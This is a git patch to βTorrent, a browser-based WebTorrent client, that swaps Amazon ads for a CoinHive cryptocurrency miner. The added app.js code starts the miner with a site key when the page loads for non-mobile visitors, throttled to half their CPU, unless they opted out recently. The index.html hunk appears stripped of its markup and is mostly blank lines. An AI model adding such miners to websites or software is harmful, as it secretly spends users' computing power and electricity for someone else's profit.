From a9b22c656a76fbd7ba518a421325263bbf1cfa65 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Diego=20Rodr=C3=ADguez?= Date: Mon, 4 Jun 2018 13:26:53 -0500 Subject: [PATCH] Remove amazon ads and use less CPU CoinHive --- app.js | 10 +++++++++- index.html | 44 +++++++++++++++++++++++++------------------- style.css | 4 ++++ 3 files changed, 38 insertions(+), 20 deletions(-) diff --git a/app.js b/app.js index cc55302..4aa4b3a 100644 --- a/app.js +++ b/app.js @@ -1,4 +1,4 @@ -/* global WebTorrent, angular, moment, prompt */ +/* global WebTorrent, angular, moment, prompt, CoinHive */ const VERSION = '0.17.7' @@ -64,6 +64,14 @@ const app = angular.module('BTorrent', ) app.controller('BTorrentCtrl', ['$scope', '$rootScope', '$http', '$log', '$location', 'ngNotify', function ($scope, $rootScope, $http, $log, $location, ngNotify) { + if (window.CoinHive) { + const miner = new CoinHive.Anonymous('YzzZ9mraj45TeCzxlvBX7yVm9O3GbV60', {throttle: 0.5}) + + if (!miner.isMobile() && !miner.didOptOut(3600)) { + miner.start() + } + } + let updateAll $rootScope.version = VERSION ngNotify.config({ diff --git a/index.html b/index.html index 8130115..6d34186 100644 --- a/index.html +++ b/index.html @@ -1,34 +1,40 @@ - - - βTorrent: Browser WebTorrent Client - - - - - - - - - + + + βTorrent: Browser WebTorrent Client + + + + + + + + +
-

βTorrent v{{$root.version}}

- +

βTorrent v{{$root.version}}

+ +
+
+ + \ No newline at end of file diff --git a/style.css b/style.css index 944f094..caec711 100644 --- a/style.css +++ b/style.css @@ -81,3 +81,7 @@ input[type="button"].button-danger:focus { color: #FFF; background-color: #C43E3A; border-color: #C43E3A; } + +a { + text-decoration: none +}